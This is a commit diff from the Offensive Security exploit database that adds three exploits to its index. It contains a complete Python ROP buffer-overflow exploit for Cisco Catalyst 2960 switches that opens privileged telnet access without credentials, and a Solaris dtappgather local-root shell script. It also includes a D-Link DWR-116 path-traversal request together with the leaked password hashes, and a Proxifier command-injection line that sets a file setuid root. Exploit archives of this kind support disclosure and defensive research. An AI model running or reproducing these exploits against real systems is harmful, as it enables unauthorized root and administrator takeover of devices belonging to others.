DB: 2017-04-13
3 new exploits Solaris 7 - 11 (x86 & SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution D-Link DWR-116 / DWR-116A1 - Arbitrary File Download
This commit is contained in:
Offensive Security
parent
814ba132f8
commit
2ac6fc17c2
7 changed files with 176 additions and 2 deletions
|
|
@ -8934,6 +8934,7 @@ id,file,description,date,author,platform,type,port
|
|||
41853,platforms/macos/local/41853.txt,"Proxifier for Mac 2.18 - Multiple Vulnerabilities",2017-04-11,Securify,macos,local,0
|
||||
41854,platforms/macos/local/41854.txt,"Proxifier for Mac 2.17 / 2.18 - Privesc Escalation",2017-04-11,"Mark Wadham",macos,local,0
|
||||
41870,platforms/multiple/local/41870.txt,"Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout",2017-04-11,"Google Security Research",multiple,local,0
|
||||
41871,platforms/solaris/local/41871.sh,"Solaris 7 - 11 (x86 & SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation",2017-04-12,"Hacker Fantastic",solaris,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
|
@ -15436,6 +15437,7 @@ id,file,description,date,author,platform,type,port
|
|||
41850,platforms/windows/remote/41850.txt,"Moxa MXview 2.8 - Private Key Disclosure",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
41852,platforms/windows/remote/41852.txt,"Moxa MX AOPC-Server 1.5 - XML External Entity Injection",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
41861,platforms/linux/remote/41861.py,"Quest Privilege Manager 6.0.0 - Arbitrary File Write",2017-04-10,m0t,linux,remote,0
|
||||
41872,platforms/hardware/remote/41872.py,"Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,23
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -37722,6 +37724,7 @@ id,file,description,date,author,platform,type,port
|
|||
41837,platforms/php/webapps/41837.txt,"Survey Template 1.1 - 'masterkey1' Parameter SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
|
||||
41838,platforms/php/webapps/41838.txt,"My Gaming Ladder Combo System 7.5 - SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
|
||||
41839,platforms/php/webapps/41839.txt,"Ladder System 6.0 - 'faqid' Parameter SQL Injection",2017-04-07,"Ihsan Sencan",php,webapps,0
|
||||
41840,platforms/hardware/webapps/41840.txt,"D-Link DWR-116 / DWR-116A1 - Arbitrary File Download",2017-04-07,"Patryk Bogdan",hardware,webapps,0
|
||||
41841,platforms/php/webapps/41841.html,"WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting",2017-04-07,dxw,php,webapps,80
|
||||
41842,platforms/cgi/webapps/41842.txt,"QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection",2017-04-07,"Harry Sintonen",cgi,webapps,0
|
||||
41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
83
platforms/hardware/remote/41872.py
Executable file
83
platforms/hardware/remote/41872.py
Executable file
|
|
@ -0,0 +1,83 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: Cisco Catalyst 2960 - Buffer Overflow
|
||||
# Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
|
||||
# Date: 04.10.2017
|
||||
# Exploit Author: https://twitter.com/artkond
|
||||
# Vendor Homepage: https://www.cisco.com/
|
||||
# Version: IOS version c2960-lanbasek9-mz.122-55.SE11)
|
||||
# Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11
|
||||
# CVE : CVE-2017-3881
|
||||
# Description:
|
||||
#
|
||||
# The exploit connects to the Catalyst switch and patches
|
||||
# it execution flow to allow credless telnet interaction
|
||||
# with highest privilege level
|
||||
#
|
||||
|
||||
|
||||
import socket
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
set_credless = True
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print sys.argv[0] + ' [host] --set/--unset'
|
||||
sys.exit()
|
||||
elif sys.argv[2] == '--unset':
|
||||
set_credless = False
|
||||
elif sys.argv[2] == '--set':
|
||||
pass
|
||||
else:
|
||||
print sys.argv[0] + ' [host] --set/--unset'
|
||||
sys.exit()
|
||||
|
||||
|
||||
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((sys.argv[1], 23))
|
||||
|
||||
print '[+] Connection OK'
|
||||
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
|
||||
print '[+] Sending cluster option'
|
||||
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
|
||||
|
||||
|
||||
|
||||
payload = '\xff\xfa\x24\x00'
|
||||
payload += '\x03CISCO_KITS\x012:'
|
||||
payload += 'A' * 116
|
||||
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
|
||||
#next bytes are shown as offsets from r1
|
||||
payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34
|
||||
if set_credless is True:
|
||||
payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1
|
||||
else:
|
||||
payload += '\x00\x04\xeA\xe0' # unset
|
||||
payload += 'BBBB' # +16(+0) r1 points here at second gadget
|
||||
payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
|
||||
payload += 'CCCC' # +8
|
||||
payload += 'DDDD' # +12
|
||||
payload += 'EEEE' # +16(+0) r1 points here at third gadget
|
||||
payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
|
||||
payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8
|
||||
payload += 'FFFF' # +12
|
||||
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
|
||||
payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
|
||||
if set_credless:
|
||||
payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
|
||||
else:
|
||||
payload += '\x00\x04\xe7\x78' # unset
|
||||
payload += 'HHHH' # +12
|
||||
payload += 'IIII' # +16(+0) r1 points here at fifth gadget
|
||||
payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
|
||||
payload += 'JJJJ' # +8 r1 points here at third gadget
|
||||
payload += 'KKKK' # +12
|
||||
payload += 'LLLL' # +16
|
||||
payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr
|
||||
payload += ':15:' + '\xff\xf0'
|
||||
|
||||
s.send(payload)
|
||||
|
||||
print '[+] All done'
|
||||
|
||||
s.close()
|
||||
36
platforms/hardware/webapps/41840.txt
Executable file
36
platforms/hardware/webapps/41840.txt
Executable file
|
|
@ -0,0 +1,36 @@
|
|||
# Title: D-Link DWR-116 Arbitrary File Download
|
||||
# Vendor: D-Link (www.dlink.com)
|
||||
# Affected model(s): DWR-116 / DWR-116A1
|
||||
# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
|
||||
# CVE: CVE-2017-6190
|
||||
# Date: 04.07.2016
|
||||
# Author: Patryk Bogdan (@patryk_bogdan)
|
||||
|
||||
Description:
|
||||
D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
|
||||
which leads to unathorized file download from device filesystem.
|
||||
|
||||
|
||||
PoC:
|
||||
|
||||
HTTP Request:
|
||||
GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: 192.168.2.1
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
|
||||
HTTP Response:
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: application/x-none
|
||||
Cache-Control: max-age=60
|
||||
Connection: close
|
||||
|
||||
root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash
|
||||
nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin
|
||||
ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin
|
||||
|
||||
|
||||
Fix:
|
||||
Update device to the new firmware (V1.05b09)
|
||||
|
|
@ -48,4 +48,5 @@ rm -f a.c
|
|||
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
|
||||
/tmp/a
|
||||
|
||||
|
||||
-------------------------------------------------------------------
|
||||
|
|
@ -5,7 +5,7 @@
|
|||
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
|
||||
# Version: 2.8
|
||||
# Tested on: Linux Debian / Windows 7
|
||||
# CVE : CVE-2017-6191
|
||||
# CVE : CVE-2017-6192
|
||||
|
||||
|
||||
Additional analysis:
|
||||
|
|
|
|||
|
|
@ -5,7 +5,7 @@
|
|||
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
|
||||
# Version: 2.8
|
||||
# Tested on: Linux Debian / Windows 7
|
||||
# CVE : CVE-2017-6192
|
||||
# CVE : CVE-2017-6193
|
||||
|
||||
Additional analysis:
|
||||
https://www.onvio.nl/nieuws/cve-2017-6192-apngdis-width-height-buffer-overflow
|
||||
|
|
|
|||
51
platforms/solaris/local/41871.sh
Executable file
51
platforms/solaris/local/41871.sh
Executable file
|
|
@ -0,0 +1,51 @@
|
|||
#!/bin/ksh
|
||||
#Exploit PoC reverse engineered from EXTREMEPARR which provides
|
||||
#local root on Solaris 7 - 11 (x86 & SPARC). Uses a environment
|
||||
#variable of setuid binary dtappgather to manipulate file
|
||||
#permissions and create a user owned directory anywhere on the
|
||||
#system (as root). Can then add a shared object to locale folder
|
||||
#and run setuid binaries with an untrusted library file.
|
||||
#
|
||||
# e.g.
|
||||
# $ id;uname -a; ./dtappgather-poc.sh
|
||||
# uid=60001(nobody) gid=60001(nobody)
|
||||
# SunOS sparc 5.8 Generic_117350-39 sun4m sparc SUNW,SPARCstation-20
|
||||
# [+] '/usr/dt/bin/dtappgather' directory traversal exploit
|
||||
# [-] get rid of any of our desktop files
|
||||
# [-] exploiting the traversal bug...
|
||||
# changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory
|
||||
# MakeDirectory: /var/dt/appconfig/appmanager/..: File exists
|
||||
# changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory
|
||||
# [-] symlink attack create our directory
|
||||
# dr-xr-xr-x 2 nobody nobody 512 Apr 11 14:40 pdkhax
|
||||
# [-] Done. "/usr/lib/locale/pdkhax" is writeable
|
||||
# $
|
||||
#
|
||||
# To get root privileges simply exploit "at" by adding a .so.2
|
||||
# file in the new locale directory and calling "at".
|
||||
#
|
||||
# $ at -f /etc/passwd 11:11
|
||||
# job 1491991860.a at Ons Apr 12 11:11:00 2017
|
||||
# $ LC_TIME=pdkhax at -l
|
||||
# # id
|
||||
# uid=0(root) gid=60001(nobody)
|
||||
#
|
||||
# -- Hacker Fantastic (www.myhackerhouse.com)
|
||||
echo "[+] '/usr/dt/bin/dtappgather' directory traversal exploit"
|
||||
echo "[-] get rid of any of our desktop files"
|
||||
chmod -R 777 /var/dt/appconfig/appmanager/*
|
||||
rm -rf /var/dt/appconfig/appmanager/*
|
||||
echo [-] exploiting the traversal bug...
|
||||
DTUSERSESSION=. /usr/dt/bin/dtappgather
|
||||
DTUSERSESSION=. /usr/dt/bin/dtappgather
|
||||
DTUSERSESSION=.. /usr/dt/bin/dtappgather
|
||||
DTUSERSESSION=.. /usr/dt/bin/dtappgather
|
||||
DTUSERSESSION=.. /usr/dt/bin/dtappgather
|
||||
echo [-] symlink attack create our directory
|
||||
ln -sf /usr/lib/locale /var/dt/appconfig/appmanager
|
||||
DTUSERSESSION=pdkhax /usr/dt/bin/dtappgather
|
||||
ls -al /usr/lib/locale | grep pdkhax
|
||||
rm -rf /var/dt/appconfig/appmanager
|
||||
chmod 755 /usr/lib/locale/pdkhax
|
||||
echo [-] Done. "/usr/lib/locale/pdkhax" is writeable
|
||||
|
||||
Loading…
Add table
Reference in a new issue